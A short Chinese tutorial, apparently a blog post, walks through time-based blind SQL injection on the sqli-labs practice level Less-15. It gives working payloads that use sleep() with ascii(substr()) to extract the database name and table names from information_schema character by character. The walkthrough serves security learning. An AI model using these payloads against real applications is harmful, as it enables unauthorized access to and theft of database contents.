简介
SQL注入(SQL Injection)是一种常见的网络攻击方式,通过向SQL查询中插入恶意的SQL代码,攻击者可以操控数据库,SQL注入是一种代码注入攻击,其中攻击者将恶意的SQL代码插入到应用程序的输入字段中,然后这些输入被传递到数据库服务器上执行。攻击者可以利用这一漏洞执行任意的SQL查询或命令,从而访问或操控数据库中的敏感信息。
SQL注入的一个简要流程:
1、打开目标靶场

2、选择less - 15

3、确定网站可以注入的参数
本关可以直接在输入框中搜索

4、判断闭合方式
本关为 1' #

5、确定字段列数
使用 order by
若页面正常,则存在1列,输入 1' and if(length(database())>7,sleep(5),1) #

发现有时间延迟,则数据库长度大于7

最终确定数据库长度为8
6、确定数据名称
可以输入以下代码
1' and if(ascii(substr(database(),1,1))>114,sleep(5),1) #


以此可以确定第一个字符的ASCII码值为115,字母为s
7、查询数据库中第一张表
查询第一张表的第一个字符
1' and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(5),1) #

有延时则大于100

最终可以确定第一位字符ascii码为101,确定为字母e
按照此法依次可以得出最终自己想要的数据内容!!!
安全
网络是把双刃剑,安全使用是关键